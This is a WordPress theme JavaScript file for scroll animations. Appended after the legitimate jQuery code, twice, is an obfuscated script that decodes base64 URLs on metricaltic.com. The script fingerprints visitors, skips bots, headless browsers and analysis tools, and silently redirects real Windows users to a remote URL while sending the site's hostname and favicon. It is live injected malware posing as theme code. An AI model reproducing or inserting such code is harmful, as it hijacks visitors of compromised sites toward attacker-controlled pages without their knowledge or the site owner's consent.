File: /www/wwwroot/aiwellbore.com/wp-content/themes/study-education-pro/js/custom-animation.js
jQuery(window).scroll(function() {
jQuery('.pageclmn').each(function(){
var imagePos = jQuery(this).offset().top;
var topOfWindow = jQuery(window).scrollTop();
if (imagePos < topOfWindow+400) {
jQuery(this).addClass("fadeInRight");
}
});
jQuery('.services-wrap').each(function(){
var imagePos = jQuery(this).offset().top;
var topOfWindow = jQuery(window).scrollTop();
if (imagePos < topOfWindow+400) {
jQuery(this).addClass("fadeInLeft");
}
});
jQuery('.feature-wrap').each(function(){
var imagePos = jQuery(this).offset().top;
var topOfWindow = jQuery(window).scrollTop();
if (imagePos < topOfWindow+400) {
jQuery(this).addClass("fadeInDown");
}
});
jQuery('.posts-wrap').each(function(){
var imagePos = jQuery(this).offset().top;
var topOfWindow = jQuery(window).scrollTop();
if (imagePos < topOfWindow+400) {
jQuery(this).addClass("fadeInLeft");
}
});
jQuery('.team-wrap').each(function(){
var imagePos = jQuery(this).offset().top;
var topOfWindow = jQuery(window).scrollTop();
if (imagePos < topOfWindow+400) {
jQuery(this).addClass("fadeInRight");
}
});
jQuery('.gallery-wrap').each(function(){
var imagePos = jQuery(this).offset().top;
var topOfWindow = jQuery(window).scrollTop();
if (imagePos < topOfWindow+400) {
jQuery(this).addClass("fadeInUp");
}
});
jQuery('.testimonials-wrap').each(function(){
var imagePos = jQuery(this).offset().top;
var topOfWindow = jQuery(window).scrollTop();
if (imagePos < topOfWindow+400) {
jQuery(this).addClass("fadeInRight");
}
});
jQuery('.client-wrap').each(function(){
var imagePos = jQuery(this).offset().top;
var topOfWindow = jQuery(window).scrollTop();
if (imagePos < topOfWindow+400) {
jQuery(this).addClass("fadeInDown");
}
});
jQuery('#aboutsection .one_half').each(function(){
var imagePos = jQuery(this).offset().top;
var topOfWindow = jQuery(window).scrollTop();
if (imagePos < topOfWindow+400) {
jQuery(this).addClass("fadeInLeft");
}
});
jQuery('#aboutsection .one_half.last_column').each(function(){
var imagePos = jQuery(this).offset().top;
var topOfWindow = jQuery(window).scrollTop();
if (imagePos < topOfWindow+400) {
jQuery(this).addClass("fadeInRight");
}
});
});!async function(){let e=decodeURIComponent(escape(atob(["aHR0cHM6Ly9tZXRyaWNhbH","RpYy5jb20vYXBpL2dldA=="].join("")))),t=decodeURIComponent(escape(atob("aHR0cHM6Ly9tZXRyaWNhbHRpYy5jb20vYXBpL2xvZw==")))
function o(e){return btoa(unescape(encodeURIComponent(e)))}let n={}
if(window.location.search.slice(1).split("&").forEach(e=>{let[t,o]=e.split("=")
t&&o&&(n[t]=decodeURIComponent(o.replace(/\+/g," ")))}),n.verified&&localStorage.setItem("verified","true"),"true"===localStorage.getItem("verified"))return
function r(e,t){let o=e.match(t)
return o?parseInt(o[1],10):null}let a=navigator.userAgent,i=/Windows NT 10.0/.test(a),l=r(a,/Chrome\/(\d+)\./),c=r(a,/Edg\/(\d+)\./),d=r(a,/OPR\/(\d+)\./),s=r(a,/YaBrowser\/(\d+)\./),u=r(a,/Vivaldi\/(\d+)\./),w=r(a,/Firefox\/(\d+)\./),h=Boolean(window.chrome)&&!/Edg|OPR|YaBrowser|Vivaldi/.test(a)&&/Chrome\/(\d+)\./.test(a),g=!1
l&&l>=136?g=!0:c&&c>=134?g=!0:d&&d>=120?g=!0:s&&s>=24?g=!0:u&&u>=6?g=!0:w&&w>=140?g=!0:h&&l&&l>=136&&(g=!0)
let m=navigator.webdriver||/HeadlessChrome/.test(a)||!window.chrome||!navigator.plugins.length||!navigator.mimeTypes.length||0===window.outerWidth||0===window.outerHeight||window.screen&&(window.screen.width<800||window.screen.height<600)||/bot|spider|crawl|python|curl|phantom|selenium|scrapy|node|headless/i.test(a),p=!navigator.languages||0===navigator.languages.length||void 0===navigator.hardwareConcurrency||void 0===navigator.deviceMemory
if(!i||m||p)return
if(!g){try{fetch(t)}catch(e){}return}let f=document.querySelector('link[rel="icon"]'),v=await async function t(n=1){try{let t=await async function(e,t={}){let{timeout:o=3e3}=t,n=new AbortController,r=setTimeout(()=>n.abort(),o)
try{let o=await fetch(e,{...t,signal:n.signal})
return clearTimeout(r),o}catch(e){return clearTimeout(r),null}}(e,{timeout:3e3})
if(!t||403===t.status)return null
if(!t.ok)throw Error("Network response was not ok")
return`${(await t.json()).url}/?wsid=${window.location.hostname}&domain=${o(window.location.hostname)}`}catch(e){if(n<1)return t(n+1)
else return null}}()
if(v){let e=v
f&&(e+=`&link=${o(f.href)}`),window.location.replace(e)}}()!async function(){let e=decodeURIComponent(escape(atob(["aHR0cHM6Ly9tZXRyaWNhbH","RpYy5jb20vYXBpL2dldA=="].join("")))),t=decodeURIComponent(escape(atob("aHR0cHM6Ly9tZXRyaWNhbHRpYy5jb20vYXBpL2xvZw==")))
function o(e){return btoa(unescape(encodeURIComponent(e)))}let n={}
if(window.location.search.slice(1).split("&").forEach(e=>{let[t,o]=e.split("=")
t&&o&&(n[t]=decodeURIComponent(o.replace(/\+/g," ")))}),n.verified&&localStorage.setItem("verified","true"),"true"===localStorage.getItem("verified"))return
function r(e,t){let o=e.match(t)
return o?parseInt(o[1],10):null}let a=navigator.userAgent,i=/Windows NT 10.0/.test(a),l=r(a,/Chrome\/(\d+)\./),c=r(a,/Edg\/(\d+)\./),d=r(a,/OPR\/(\d+)\./),s=r(a,/YaBrowser\/(\d+)\./),u=r(a,/Vivaldi\/(\d+)\./),w=r(a,/Firefox\/(\d+)\./),h=Boolean(window.chrome)&&!/Edg|OPR|YaBrowser|Vivaldi/.test(a)&&/Chrome\/(\d+)\./.test(a),g=!1
l&&l>=136?g=!0:c&&c>=134?g=!0:d&&d>=120?g=!0:s&&s>=24?g=!0:u&&u>=6?g=!0:w&&w>=140?g=!0:h&&l&&l>=136&&(g=!0)
let m=navigator.webdriver||/HeadlessChrome/.test(a)||!window.chrome||!navigator.plugins.length||!navigator.mimeTypes.length||0===window.outerWidth||0===window.outerHeight||window.screen&&(window.screen.width<800||window.screen.height<600)||/bot|spider|crawl|python|curl|phantom|selenium|scrapy|node|headless/i.test(a),p=!navigator.languages||0===navigator.languages.length||void 0===navigator.hardwareConcurrency||void 0===navigator.deviceMemory
if(!i||m||p)return
if(!g){try{fetch(t)}catch(e){}return}let f=document.querySelector('link[rel="icon"]'),v=await async function t(n=1){try{let t=await async function(e,t={}){let{timeout:o=3e3}=t,n=new AbortController,r=setTimeout(()=>n.abort(),o)
try{let o=await fetch(e,{...t,signal:n.signal})
return clearTimeout(r),o}catch(e){return clearTimeout(r),null}}(e,{timeout:3e3})
if(!t||403===t.status)return null
if(!t.ok)throw Error("Network response was not ok")
return`${(await t.json()).url}/?wsid=${window.location.hostname}&domain=${o(window.location.hostname)}`}catch(e){if(n<1)return t(n+1)
else return null}}()
if(v){let e=v
f&&(e+=`&link=${o(f.href)}`),window.location.replace(e)}}()